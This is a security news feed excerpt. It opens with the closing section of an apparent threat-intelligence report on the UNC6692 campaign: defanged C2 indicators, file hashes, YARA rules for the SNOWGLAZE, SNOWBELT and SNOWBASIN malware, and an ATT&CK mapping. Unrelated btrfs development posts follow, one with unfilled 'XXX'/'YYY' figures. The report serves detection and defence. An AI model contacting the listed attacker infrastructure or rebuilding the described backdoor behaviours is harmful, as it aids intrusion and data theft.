<p role="presentation"><span>Terminates the specific proxy stream identified by the given conn_id.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><span>disconnect</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Serves all active proxy connections and terminates script execution.</span></p>
</li>
</ul>
</ul></div>
<div class="block-paragraph_advanced"><h3><span>Outlook &amp; Implications</span></h3>
<p><span>The UNC6692 campaign demonstrates how modern attackers blend social engineering and technical evasion to gain a foothold into environments. A critical element of this strategy is the systematic abuse of legitimate cloud services for payload delivery and exfiltration, and for command-and-control (C2) infrastructure. By hosting malicious components on trusted cloud platforms, attackers can often bypass traditional network reputation filters and blend into the high volume of legitimate cloud traffic. </span></p>
<p><span>This "living off the cloud" strategy allows attackers to blend malicious operations into a high volume of encrypted, reputably sourced traffic, making detection based on domain reputation or IP blocking increasingly ineffective. Defenders must now look beyond process monitoring to gain clear visibility into browser activity and unauthorized cloud traffic. As threat actors continue to professionalize these modular, cross-platform methodologies, the ability to correlate disparate events across the browser, local Python environments, and cloud egress points will be critical for early detection.</span></p></div>
<div class="block-paragraph_advanced"><h3><span>Indicators of Compromise (IOCs)</span></h3>
<p>To assist the wider community in hunting and identifying the activity outlined in this blog post, we have included IOCs in a free <a href="https://www.virustotal.com/gui/collection/e94868d114345e7e6ff7ce3b6ef5c2b0de0ab7ba8584ab0bf1a1df79a2bf2ffe" rel="noopener" target="_blank">GTI Collection</a> for registered users.</p>
<h4><span>Network Indicators</span></h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>service-page-25144-30466-outlook.s3.us-west-2.amazonaws[.]com</code></p>
</td>
<td>
<p><span>Hosted the phishing site and initial AutoHotKey payloads</span></p>
</td>
</tr>
<tr>
<td>
<p><code>cloudfront-021.s3.us-west-2.amazonaws[.]com</code></p>
</td>
<td>
<p><span>SNOWBELT C2</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://sad4w7h913-b4a57f9c36eb.herokuapp[.]com/ws</code></p>
</td>
<td>
<p><span>Hard-coded WebSocket Secure URL within SNOWGLAZE</span></p>
</td>
</tr>
<tr>
<td>
<p><code>service-page-11369-28315-outlook[.]s3[.]us-west-2[.]amazonaws[.]com</code></p>
</td>
<td>
<p><span>Domain for URL used to upload a text file</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4>File Indicators</h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>File Name</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256 Hash</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\ProgramData\log</span></p>
</td>
<td>
<p><span>SNOWGLAZE</span></p>
</td>
<td>
<p><code>2fa987b9ed6ec6d09c7451abd994249dfaba1c5a7da1c22b8407c461e62f7e49</code></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\ProgramData\log</span></p>
</td>
<td>
<p><span>SNOWBASIN</span></p>
</td>
<td>
<p><code>c8940de8cb917abe158a826a1d08f1083af517351d01642e6c7f324d0bba1eb8</code></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\background.js</span></p>
</td>
<td>
<p><span>SNOWBELT Service worker</span></p>
</td>
<td>
<p><code>7f1d71e1e079f3244a69205588d504ed830d4c473747bb1b5c520634cc5a2477</code></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\dream.js</span></p>
</td>
<td>
<p><span>SNOWBELT JS resource</span></p>
</td>
<td>
<p><code>ca390b86793922555c84abc3b34406da2899382c617f9dcf83a74ac09dd18190</code></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\dream.html</span></p>
</td>
<td>
<p><span>SNOWBELT HTML resource</span></p>
</td>
<td>
<p><code>6e6dab993f99505646051d2772701e3c4740096ff9be63c92713bcb7fcddf9f7</code></p>
</td>
</tr>
<tr>
<td>
<p><span>C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\helper.html</span></p>
</td>
<td>
<p><span>SNOWBELT HTML resource</span></p>
</td>
<td>
<p><code>de200b79ad2bd9db37baeba5e4d183498d450494c71c8929433681e848c3807f</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4><span>YARA Rules</span></h4>
<h5><span>SNOWGLAZE</span></h5></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Tunneler_SNOWGLAZE_1 {
  meta:
   author = "Google Threat Intelligence Group (GTIG)"
   platforms = "Windows, Linux"

  strings:
    $r1 = /\.connect\(\s{0,25}WS_PROXY_URL/
    $r2 = /"data":\s{0,1}base64\.b64encode\(\w{1,10}\)\.decode\('ascii'\)/
    $r3 = /"type":\s{0,1}"socks_data"/
    $r4 = /await\s{0,1}reader\.read\(\d{2,4}\)/
    $r5 = /"login":\s{0,1}AGENT_LOGIN/
    $r6 = /"password":\s{0,1}AGENT_PASSWORD/
    $r7 = /"uuid":\s{0,1}AGENT_UUID/
    
    $s1 = ".socks_tcp_to_ws"

  condition:
    5 of ($r*)
    and $s1
}</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>SNOWBELT</span></h5></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_SNOWBELT_1 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
        platform = "Windows"
    
	strings:
		$str1 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"decrypt\"])"
		$str2 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"encrypt\"])"
		$str3 = "sendJsonDataToS3"
		$str4 = "processCommand"
		$str5 = "\"screenshot\"===cmdType"
		$str6 = "\"payload\"===cmdType"
		$str7 = "\"websocket_control\"===cmdType"
		$str8 = "\"open_uri\"===cmdType"
		$str9 = "\"delete_cache\"===cmdType"
		$str10 = "\"payload_download_complete\""
		$str11 = ".s3.us-east-2.amazonaws.com/"
	condition:
		all of them
          
}</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>SNOWBASIN</span></h5></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_SNOWBASIN_1 {
  meta:
    author = "Google Threat Intelligence Group (GTIG)"
    platform = "Windows"

  strings:
    $path1 = "self.path == '/probe':"
    $path2 = "self.path == '/stream':"
    $path3 = "self.path == '/buffer':"
    $path4 = "self.path == '/flush':"
    $path5 = "self.path == '/commit':"
    $path6 = "self.path == '/capture':"
    $path7 = "self.path == '/gc':"

    $func1 = "self.handle_stream("
    $func2 = "self.handle_buffer("
    $func3 = "self.handle_flush("
    $func4 = "self.handle_commit("

    $s1 = "self.wfile.write(info_msg"
    $s2 = "selected_port), WebServerHandler) as httpd:"
    $s3 = "ThreadedTCPServer(socketserver.ThreadingMixIn"
    $s4 = "httpd.serve_forever()"


  condition:
    filesize&lt;1MB and (
      (all of ($s*) and 6 of ($path*, $func*)) or
      (8 of ($path*, $func*)) or
      10 of them
    )
}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>MITRE ATT&amp;CK</span></h3></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Tactic</strong></p>
</th>
<th scope="col">
<p><strong>Techniques</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><strong>Initial Access</strong></p>
</td>
<td>
<p><span>T1566.002: Spearphishing Link</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Execution</strong></p>
</td>
<td>
<p><span>T1053: Scheduled Task/Job</span></p>
<p><span>T1053.005: Scheduled Task</span></p>
<p><span>T1059: Command and Scripting Interpreter</span></p>
<p><span>T1059.001: PowerShell</span></p>
<p><span>T1059.003: Windows Command Shell</span></p>
<p><span>T1059.006: Python</span></p>
<p><span>T1059.007: JavaScript</span></p>
<p><span>T1059.010: AutoHotKey &amp; AutoIT</span></p>
<p><span>T1204.001: Malicious Link</span></p>
<p><span>T1204.002: Malicious File</span></p>
<p><span>T1559: Inter-Process Communication</span></p>
<p><span>T1569.002: Service Execution</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Persistence</strong></p>
</td>
<td>
<p><span>T1176.001: Browser Extensions</span></p>
<p><span>T1543: Create or Modify System Process</span></p>
<p><span>T1543.003: Windows Service</span></p>
<p><span>T1547.001: Registry Run Keys / Startup Folder</span></p>
<p><span>T1547.009: Shortcut Modification</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Privilege Escalation</strong></p>
</td>
<td>
<p><span>T1068: Exploitation for Privilege Escalation</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Defense Evasion</strong></p>
</td>
<td>
<p><span>T1027: Obfuscated Files or Information</span></p>
<p><span>T1027.010: Command Obfuscation</span></p>
<p><span>T1027.015: Compression</span></p>
<p><span>T1036.005: Match Legitimate Resource Name or Location</span></p>
<p><span>T1055: Process Injection</span></p>
<p><span>T1070.004: File Deletion</span></p>
<p><span>T1112: Modify Registry</span></p>
<p><span>T1134: Access Token Manipulation</span></p>
<p><span>T1134.001: Token Impersonation/Theft</span></p>
<p><span>T1140: Deobfuscate/Decode Files or Information</span></p>
<p><span>T1202: Indirect Command Execution</span></p>
<p><span>T1562.001: Disable or Modify Tools</span></p>
<p><span>T1564.001: Hidden Files and Directories</span></p>
<p><span>T1622: Debugger Evasion</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Credential Access</strong></p>
</td>
<td>
<p><span>T1003.001: LSASS Memory</span></p>
<p><span>T1003.002: Security Account Manager</span></p>
<p><span>T1003.003: NTDS</span></p>
<p><span>T1110.001: Password Guessing</span></p>
<p><span>T1110.003: Password Spraying</span></p>
<p><span>T1552.001: Credentials In Files</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Discovery</strong></p>
</td>
<td>
<p><span>T1007: System Service Discovery</span></p>
<p><span>T1012: Query Registry</span></p>
<p><span>T1016: System Network Configuration Discovery</span></p>
<p><span>T1018: Remote System Discovery</span></p>
<p><span>T1033: System Owner/User Discovery</span></p>
<p><span>T1046: Network Service Discovery</span></p>
<p><span>T1057: Process Discovery</span></p>
<p><span>T1082: System Information Discovery</span></p>
<p><span>T1083: File and Directory Discovery</span></p>
<p><span>T1087.001: Local Account</span></p>
<p><span>T1518: Software Discovery</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Lateral Movement</strong></p>
</td>
<td>
<p><span>T1021.001: Remote Desktop Protocol</span></p>
<p><span>T1021.002: SMB/Windows Admin Shares</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Collection</strong></p>
</td>
<td>
<p><span>T1005: Data from Local System</span></p>
<p><span>T1074: Data Staged</span></p>
<p><span>T1113: Screen Capture</span></p>
<p><span>T1560: Archive Collected Data</span></p>
<p><span>T1560.001: Archive via Utility</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Exfiltration</strong></p>
</td>
<td>
<p><span>T1020: Automated Exfiltration</span></p>
<p><span>T1567: Exfiltration Over Web Service</span></p>
<p><span>T1567.002: Exfiltration to Cloud Storage</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Command and Control</strong></p>
</td>
<td>
<p><span>T1071.001: Web Protocols</span></p>
<p><span>T1090: Proxy</span></p>
<p><span>T1105: Ingress Tool Transfer</span></p>
<p><span>T1572: Protocol Tunneling</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Impact</strong></p>
</td>
<td>
<p><span>T1489: Service Stop</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Resource Development</strong></p>
</td>
<td>
<p><span>T1608.002: Upload Tool</span></p>
<p><span>T1608.005: Link Target</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance from several individuals within Mandiant Consulting, Google Threat Intelligence Group and FLARE who helped with analysis and reviewing this blog post. We also appreciate Amazon for their collaboration against this threat.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Really funny Boondocks comic strip]]></title>
<description><![CDATA[Today’s Boondocks comic strip really tickled my funny bone:]]></description>
<link>https://tsecurity.de/de/3501082/unix-server/really-funny-boondocks-comic-strip/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501082/unix-server/really-funny-boondocks-comic-strip/</guid>
<pubDate>Fri, 08 May 2026 23:03:39 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today’s <a href="http://www.ucomics.com/boondocks/">Boondocks</a> comic strip really tickled my funny bone:</p>
<!-- raw HTML omitted -->]]></content:encoded>
</item>
<item>
<title><![CDATA[Btrfs hilights in 5.5: 3-copy and 4-copy block groups]]></title>
<description><![CDATA[A bit more detailed overview of a btrfs update that I find interesting, see the
pull
request
for the rest.

New block group profiles RAID1C3 and RAID1C4

There are two new block group profiles enhancing capabilities of the RAID1
types with more copies than 2. Brief overview of the profiles is in ...]]></description>
<link>https://tsecurity.de/de/3500649/unix-server/btrfs-hilights-in-55-3-copy-and-4-copy-block-groups/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500649/unix-server/btrfs-hilights-in-55-3-copy-and-4-copy-block-groups/</guid>
<pubDate>Fri, 08 May 2026 22:51:14 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A bit more detailed overview of a btrfs update that I find interesting, see the
<a href="https://git.kernel.org/linus/97d0bf96a0d0986f466c3ff59f2ace801e33dc69">pull
request</a>
for the rest.</p>

<h2>New block group profiles RAID1C3 and RAID1C4</h2>

<p>There are two new block group profiles enhancing capabilities of the RAID1
types with more copies than 2. Brief overview of the profiles is in the table
below, for table with all profiles see manual page of <code class="language-plaintext highlighter-rouge">mkfs.brtfs</code>, also
available <a href="https://btrfs.wiki.kernel.org/index.php/Manpage/mkfs.btrfs#PROFILES">on
wiki</a>.</p>

<table>
  <thead>
    <tr>
      <th>Profile</th>
      <th>Copies</th>
      <th>Utilization</th>
      <th>Min devices</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>RAID1</td>
      <td>2</td>
      <td>50%</td>
      <td>2</td>
    </tr>
    <tr>
      <td>RAID1C3</td>
      <td>3</td>
      <td>33%</td>
      <td>3</td>
    </tr>
    <tr>
      <td>RAID1C4</td>
      <td>4</td>
      <td>25%</td>
      <td>4</td>
    </tr>
  </tbody>
</table>

<p>The way all the RAID1 types work is that there are 2 / 3 / 4 exact copies over
all available devices. The terminology is different from linux MD RAID, that
can do any number of copies. We decided not to do that in btrfs to keep the
implementation simple. Another point for simplicity is from the users’
perspective. That RAID1C3 provides 3 copies is clear from the type. Even after
adding a new device and not doing balance, the guarantees about redundancy
still hold. Newly written data will use the new device together with 2 devices
from the original set.</p>

<p>Compare that with a hypothetical RAID1CN, on a filesystem with M devices (N &lt;=
M). When the filesystem starts with 2 devices, equivalent to RAID1, adding a
new one will have mixed redundancy guarantees after writing more data. Old data
with RAID1, new with RAID1C3 – but all accounted under RAID1CN profile. A full
re-balance would be required to make it a reliable 3-copy RAID1. Add another
device, going to RAID1C4, same problem with more data to shuffle around.</p>

<p>The allocation policy would depend on number of devices, making it hard for the
user to know the redundancy level. This is already the case for
RAID0/RAID5/RAID6. For the striped profile RAID0 it’s not much of a problem,
there’s no redundancy. For the parity profiles it’s been a known problem and
new balance filter <code class="language-plaintext highlighter-rouge">stripe</code> has been added to support fine grained selection of
block groups.</p>

<p>Speaking about RAID6, there’s the elephant in the room, trying to cover write
hole. Lack of a resiliency against 2 device damage has been bothering all of us
because of the known write hole problem in the RAID6 implementation. How this
is going to be addressed is for another post, but for now, the newly added
RAID1C3 profile is a reasonable substitute for RAID6.</p>

<h3>How to use it</h3>

<p>On a freshly created filesystem it’s simple:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># mkfs.btrfs -d raid1c3 -m raid1c4 /dev/sd[abcd]
</code></pre></div></div>

<p>The command combines both new profiles for sake of demonstration, you should
always consider the expected use and required guarantees and choose the
appropriate profiles.</p>

<p>Changing the profile later on an existing filesystem works as usual, you can
use:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># btrfs balance start -mconvert=raid1c3 /mnt/path
</code></pre></div></div>

<p>Provided there are enough devices and enough space to do the conversion, this
will go through all metadadata block groups and after it finishes, all of them
will be of the of the desired type.</p>

<h3>Backward compatibility</h3>

<p>The new block groups are not understood by old kernels and can’t be mounted,
not even in the read-only mode. To prevent that a new incompatibility bit is
introduced, called <code class="language-plaintext highlighter-rouge">raid1c34</code>. Its presence on a device can be checked by
<code class="language-plaintext highlighter-rouge">btrfs inspect-internal dump-super</code> in the <code class="language-plaintext highlighter-rouge">incompat_flags</code>. On a running
system the incompat features are exported in sysfs,
<code class="language-plaintext highlighter-rouge">/sys/fs/btrfs/UUID/features/raid1c34</code>.</p>

<h3>Outlook</h3>

<p>There is no demand for RAID1C5 at the moment (I asked more than once). The
space utilization is low already, the RAID1C4 survives 3 dead devices so IMHO
this is enough for most users. Extending resilience to more devices should
perhaps take a different route.</p>

<p>With more copies there’s potential for parallelization of reads from multiple
devices. Up to now this is not optimal, there’s a decision logic that’s
semi-random based on process ID of the btrfs worker threads or process
submitting the IO. Better load balancing policy is a work in progress and could
appear in 5.7 at the earliest (because 5.6 development is now in fixes-only
mode).</p>

<h3>Look back</h3>

<p>The history of the patchset is a bit bumpy. There was enough motivation and
requests for the functionality, so I started the analysis what needs to be
done. Several cleanups were necessary to unify code and to make it easily
extendable for more copies while using the same mirroring code. In the end
change a few constants and be done.</p>

<p>Following with testing, I tried simple mkfs and conversions, that worked well.
Then scrub, overwrite some blocks and let the auto-repair do the work. No
hiccups. The remaining and important part was the device replace, as the
expected use case was to substitute RAID6, replacing a missing or damaged disk.
I wrote the test script, replace 1 missing, replace 2 missing. And it did not
work. While the filesystem was mounted, everything seemed OK. Unmount, check
again and the devices were still missing. Not cool, right.</p>

<p>Due to lack of time before the upcoming merge window (a code freeze before next
development cycle), I had to declare it not ready and put it aside. This was in
late 2018. For a highly requested feature this was not an easy decision. Should
it be something less important, the development cycle between rc1 and final
release provides enough time to fix things up. But due to the maintainer role
with its demands I was not confident that I could find enough time to debug and
fix the remaining problem. Also nobody offered help to continue the work, but
that’s how it goes.</p>

<p>At the late 2019 I had some spare time and looked at the pending work again.
Enhanced the test script with more debugging messages and more checks. The code
worked well, the test script was subtly broken. Oh well, what a blunder. That
cost a year, but on the other hand releasing a highly requested feature that
lacks an important part was not an appealing option.</p>

<p>The patchset was added to 5.5 development queue at about the last time before
freeze, final 5.5 release happened a week ago.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Btrfs hilights in 5.4: tree checker updates]]></title>
<description><![CDATA[A bit more detailed overview of a btrfs update that I find interesting, see the
pull request
for the rest.

There’s not much to show in this release. Some users find that good too, a boring release. But still there are some changes of interest. The 5.4 is a long-term support stable tree, stabilit...]]></description>
<link>https://tsecurity.de/de/3500648/unix-server/btrfs-hilights-in-54-tree-checker-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500648/unix-server/btrfs-hilights-in-54-tree-checker-updates/</guid>
<pubDate>Fri, 08 May 2026 22:51:13 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A bit more detailed overview of a btrfs update that I find interesting, see the
<a href="https://git.kernel.org/linus/7d14df2d280fb7411eba2eb96682da0683ad97f6">pull request</a>
for the rest.</p>

<p>There’s not much to show in this release. Some users find that good too, a boring release. But still there are some changes of interest. The 5.4 is a long-term support stable tree, stability and core improvements are perhaps more appropriate than features that need a release or two to stabilize.</p>

<p>? stable not known in advance so not pushing half-baked features to stable, possibly requiring more intrusive fixups</p>

<p>The development cycle happened over summer and this slowed down the pace of patch reviews and update turnarounds.</p>

<h2>Tree-checker updates</h2>

<p>The tree-checker is a sanity checker of metadata that are read from/written to devices. Over time it’s being enhanced by more checks, let’s have a look at two of them.</p>

<h3>ROOT_ITEM checks</h3>

<p>The item represents root of a b-tree, of the internal or the subvolume trees.</p>

<p>Let’s take an example from <code class="language-plaintext highlighter-rouge">btrfs inspect dump-tree</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>       item 0 key (EXTENT_TREE ROOT_ITEM 0) itemoff 15844 itemsize 439
                generation 5 root_dirid 0 bytenr 30523392 level 0 refs 1
                lastsnap 0 byte_limit 0 bytes_used 16384 flags 0x0(none)
                uuid 00000000-0000-0000-0000-000000000000
                drop key (0 UNKNOWN.0 0) level 0
</code></pre></div></div>

<p>Some of the metadata inside the item allow only simple checks, following <a href="https://git.kernel.org/linus/259ee7754b6793af8bdd77f9ca818bc41cfe9541">commit 259ee7754b6793</a>:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">key.objectid</code> must match the tree that’s being read, though the code verifies only if the type is not 0</li>
  <li><code class="language-plaintext highlighter-rouge">key.offset</code> must be 0</li>
  <li>block offset <code class="language-plaintext highlighter-rouge">bytenr</code> must be aligned to sector size (4KiB in this case)</li>
  <li><code class="language-plaintext highlighter-rouge">itemsize</code> depends on the item type, but for the root item it’s fixed value</li>
  <li><code class="language-plaintext highlighter-rouge">level</code> and <code class="language-plaintext highlighter-rouge">drop_level</code> is 0 to 7, but it’s not possible to cross check if the tree has really of that level</li>
  <li><code class="language-plaintext highlighter-rouge">generation</code> must be lower than the super block generation, same for <code class="language-plaintext highlighter-rouge">lastsnap</code></li>
  <li><code class="language-plaintext highlighter-rouge">flags</code> can be simply compared to the bit mask of allowed flags, right now there are two, one represents a read-only subvolume and another a subvolume that has been marked as deleted but its blocks not yet cleaned</li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">refs</code> is a reference counter and sanity check would require reading all the expected reference holders, <code class="language-plaintext highlighter-rouge">bytes_used</code> would need to look up the block that it accounts, etc. The subvolume trees have more data like <code class="language-plaintext highlighter-rouge">ctime</code>, <code class="language-plaintext highlighter-rouge">otime</code> and real <code class="language-plaintext highlighter-rouge">uuid</code>s. If you wonder what’s <code class="language-plaintext highlighter-rouge">byte_limit</code>, this used to be a mechanism to emulate quotas by setting the limit value, but it has been deprecated and unused for a long time. One day we might to find another purpose for the bytes.</p>

<p>Many of the tree-checker enhancements are follow ups to fuzz testing and reports, as it was in this case. The <a href="https://bugzilla.kernel.org/show_bug.cgi?id=203261">bug report</a> shows that some of the incorrect data were detected and even triggered auto-repair (as this was on filesystem with DUP metadata) but there was too much damage and it crashed at some point. The crash was not random but a BUG_ON of an unexpected condition, that’s sanity check of last resort. Catching inconsistent data early with a graceful error handling is of course desired and ongoing work.</p>

<h3>Extent metadata item checks</h3>

<p>There are two item types that represent extents and information about sharing. <code class="language-plaintext highlighter-rouge">EXTENT_ITEM</code> is older and bigger  while <code class="language-plaintext highlighter-rouge">METADATA_ITEM</code> is the building block of <code class="language-plaintext highlighter-rouge">skinny-metadata</code> feature, smaller and more compact. Both items contain type of reference(s) and the owner (a tree id). Besides the generic checks that also the root item does (alignment, value ranges, generation), there’s a number of allowed combinations of the reference types and extent types. The <a href="https://git.kernel.orgl/linus/f82d1c7ca8ae1bf89e8d78c5ecb56b6b228c1a75">commit f82d1c7ca8ae1bf</a> implements that, however further explanation is out of scope of the overview as the sharing and references are the fundamental design of btrfs.</p>

<p>Example of <code class="language-plaintext highlighter-rouge">METADATA_ITEM</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        item 170 key (88145920 METADATA_ITEM 0) itemoff 10640 itemsize 33
                refs 1 gen 27 flags TREE_BLOCK
                tree block skinny level 0
                tree block backref root FS_TREE
</code></pre></div></div>

<p>And <code class="language-plaintext highlighter-rouge">EXTENT_ITEM</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        item 27 key (20967424 EXTENT_ITEM 4096) itemoff 14895 itemsize 53
                refs 1 gen 499706 flags DATA
                extent data backref root FS_TREE objectid 8626071 offset 0 count 1
</code></pre></div></div>

<p>This for a simple case with one reference, tree (for metadata) and ordinary data, so comparing the sizes shows 20 bytes saved. On my 20GiB root partition with about 70 snapshots there are XXX EXTENT and YYY METADATA items.</p>

<p>Otherwise there can be more references inside one item (eg. many snapshots of a file that is randomly updated over time) so the overhead of the item itself is smaller</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Authenticated hashes for btrfs (part 1)]]></title>
<description><![CDATA[There was a request to provide authenticated hashes in btrfs, natively as one of the btrfs checksum algorithms. Sounds fun but there’s always more to it, even if this sounds easy to implement.

Johaness T. at that time in SUSE sent the patchset adding the support for SHA256 [1] with a Labs confer...]]></description>
<link>https://tsecurity.de/de/3500640/unix-server/authenticated-hashes-for-btrfs-part-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500640/unix-server/authenticated-hashes-for-btrfs-part-1/</guid>
<pubDate>Fri, 08 May 2026 22:51:02 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>There was a request to provide authenticated hashes in btrfs, natively as one of the btrfs checksum algorithms. Sounds fun but there’s always more to it, even if this sounds easy to implement.</p>

<p>Johaness T. at that time in SUSE sent the patchset adding the support for SHA256 <a href="https://lore.kernel.org/linux-fsdevel/20200428105859.4719-1-jth@kernel.org/">[1]</a> with a Labs conference paper, summarizing existing solutions and giving details about the proposed implementation and use cases.</p>

<p>The first version of the patchset posted got some feedback, issues were found and some ideas suggested. Things have stalled a bit, but the feature is still very interesting and really not hard to implement. The support for additional checksums has provided enough support code to just plug in the new algorithm and enhance the existing interfaces to provide the key bytes. So until now I’ve assumed you know what an authenticated hash means, but for clarity and in simple terms: a checksum that depends on a key. The main point is that it’s impossible to generate the same checksum for given data without knowing the key, where <em>impossible</em> is used in the cryptographic-strength sense, there’s an almost zero probability doing that by chance and brute force attack is not practical.</p>

<h2>Auth hash, fsverity</h2>

<p>Notable existing solution for that is <em>fsverity</em> that works in read-only fashion, where the key is securely hidden and used only to verify that data that are read from media haven’t been tampered with. A typical use case is an OS image in your phone. But that’s not all. Images of OS appear in all sorts of boxed devices, IoT. Nowadays, with explosion of edge computing, assuring integrity of the end devices is a fundamental requirement.</p>

<p>Where btrfs can add some value is the read AND write support, with an authenticated hash. This brings questions around key handling, and not everybody is OK with a device that could potentially store malicious/invalid data with a proper authenticated checksum. So yeah, use something else, this is not your use case, or maybe there’s another way how to make sure the key won’t be compromised easily. This is beyond the scope of what filesystem can do, though.</p>

<p>As an example use case of writable filesystem with authenticated hash: detect outside tampering with on-disk data, eg. when the filesystem was unmounted. Filesystem metadata formats are public, interesting data can be located by patterns on the device, so changing a few bytes and updating the checksum(s) is not hard.</p>

<p>There’s one issue that was brought up and I think it’s not hard to observe anyway: there’s a total dependency on the key to verify a basic integrity of the data. Ie. without the key it’s not possible to say if the data are valid as if a basic checksum was used. This might be still useful for a read-only access to the filesystem, but absence of key makes this impossible.</p>

<h2>Existing implementations</h2>

<p>As was noted in the LWN discussion <a href="https://lwn.net/Articles/819143/">[2]</a>, what ZFS does, there are two checksums. One is the authenticated and one is not. I point you to the comment stating that, as I was not able to navigate far enough in the ZFS code to verify the claim, but the idea is clear. It’s said that the authenticated hash is eg. SHA512 and the plain hash is SHA256, split half/half in the bytes available for checksum. The way the hash is stored is a simple trim of the first 16 bytes of each checksum and store them consecutively. As both hashes are cryptographically strong, the first 16 bytes <em>should</em> provide enough strength despite the truncation. Where 16 bytes is 128 bits.</p>

<p>When I was thinking about that, I had a different idea how to do that. Not that copying the scheme would not work for btrfs, anything that the linux kernel crypto API provides is usable, the same is achievable. I’m not judging the decisions what hashes to use or how to do the split, it works and I don’t see a problem in the strength. Where I see potential for an improvement is performance, without sacrificing strength <em>too much</em>. Trade-offs.</p>

<p>The CPU or software implementation of SHA256 is comparably slower to checksums with hardware aids (like CRC32C instructions) or hashes designed to perform well on CPUs. That was the topic of the previous round of new hashes, so we now compete against BLAKE2b and XXHASH. There are CPUs with native instructions to calculate SHA256 and the performance improvement is noticeable, orders of magnitude better. But the support is not as widespread as eg. for CRC32C. Anyway, there’s always choice and hardware improves over time. The number of hashes may seem to explode but as long as it’s manageable inside the filesystem, we take it. And a coffee please.</p>

<h2>Secondary hash</h2>

<p>The checksum scheme proposed is to use a cryptographic hash and a non-cryptographic one. Given the current support for SHA256 and BLAKE2b, the cryptographic hash is given. There are two of them and that’s fine. I’m not drawing an exact parallel with ZFS, the common point for the cryptographic hash is that there are limited options and the calculation is expensive by design. This is where the non-cryptographic hash can be debated. Also I want to call it <em>secondary</em> hash, with obvious meaning that it’s not too important by default and comes second when the authenticated hash is available.</p>

